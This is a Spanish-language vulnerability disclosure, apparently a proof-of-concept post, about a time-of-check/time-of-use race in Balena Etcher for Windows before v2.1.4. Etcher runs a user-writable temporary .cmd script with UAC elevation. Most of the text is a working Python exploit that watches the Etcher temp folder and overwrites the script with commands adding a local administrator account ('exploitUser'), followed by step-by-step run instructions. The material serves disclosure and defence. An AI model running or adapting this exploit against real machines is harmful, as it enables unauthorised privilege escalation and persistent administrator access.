
Balena Etcher, en versiones anteriores a la v2.1.4 en Windows, se ve afectado por una condición de carrera de Time-of-Check a Time-of-Use (TOCTOU) en el manejo de archivos temporales.
Se identificó una vulnerabilidad de Time-of-Check a Time-of-Use (TOCTOU) en Balena Etcher para Windows en versiones anteriores a la 2.1.4.
La aplicación crea un archivo temporal .cmd en un directorio escribible por el usuario y posteriormente lo ejecuta con privilegios elevados mediante UAC.
Esto permite que una aplicación o proceso que se ejecute bajo el contexto del usuario actual con integridad media escale privilegios a integridad alta inyectando comandos maliciosos en el script temporal antes de que se ejecute.
Cuando un usuario inicia el proceso de grabación, Etcher realiza la siguiente secuencia:
Se crea un archivo temporal .cmd en el directorio temporal escribible del usuario:
C:\Users\<username>\AppData\Local\Temp\etcher\
El archivo se rellena con las variables de entorno necesarias y el comando para lanzar etcher-util.exe.
El script se ejecuta con privilegios elevados mediante UAC de Windows.
La vulnerabilidad surge del intervalo de tiempo entre la creación del archivo y su ejecución. Durante esta breve ventana, una aplicación que se ejecute en el mismo contexto de usuario puede monitorear el directorio temporal y reemplazar el archivo .cmd legítimo por una versión maliciosa. Dado que Etcher no valida la integridad del archivo antes de ejecutarlo, el código malicioso se ejecuta con privilegios elevados.
El siguiente script de Python monitorea el directorio temporal de Etcher y, una vez que se detecta el archivo .cmd, le añade una carga maliciosa que crea una nueva cuenta de administrador local.
import os
import time
import glob
username = os.environ.get("USERNAME")
target_folder = fr"C:\Users\{username}\AppData\Local\Temp\etcher"
file_prefix = "balena-etcher-electron-"
payload = fr'''
chcp 65001
set "ETCHER_SERVER_ADDRESS=127.0.0.1"
set "ETCHER_SERVER_ID=etcher-xxorfp"
set "ETCHER_SERVER_PORT=3435"
set "UV_THREADPOOL_SIZE=128"
set "SKIP=1"
net user exploitUser Password123! /add
net localgroup administrators exploitUser /add
"C:\Users\{username}\AppData\Local\balena_etcher\app-2.1.0\resources\etcher-util.exe"
'''
def monitor_and_replace():
print(f"[*] Watching for balena-etcher-electron-*.cmd files in: {target_folder}")
while True:
cmd_files = glob.glob(os.path.join(target_folder, file_prefix + "*.cmd"))
for cmd_file in cmd_files:
print(f"[+] New .cmd file detected: {cmd_file}")
try:
with open(cmd_file, "w") as f:
f.write(payload)
print("[+] Payload successfully written to .cmd file.")
return # Exit after successful injection
except Exception as e:
print(f"[-] Failed to write payload: {e}")
time.sleep(0.5)
if __name__ == "__main__":
monitor_and_replace()
python exploit.py. El script comienza a monitorear el directorio temporal en busca de archivos .cmd creados por Etcher.
Cuando aparezca el aviso de UAC, acéptelo para permitir que Etcher continúe con privilegios elevados.
El script de explotación detecta y reemplaza el archivo temporal .cmd justo antes de su ejecución. Una vez que el script se ejecuta con privilegios elevados, los comandos inyectados se ejecutan añadiendo un nuevo usuario administrador local (exploitUser).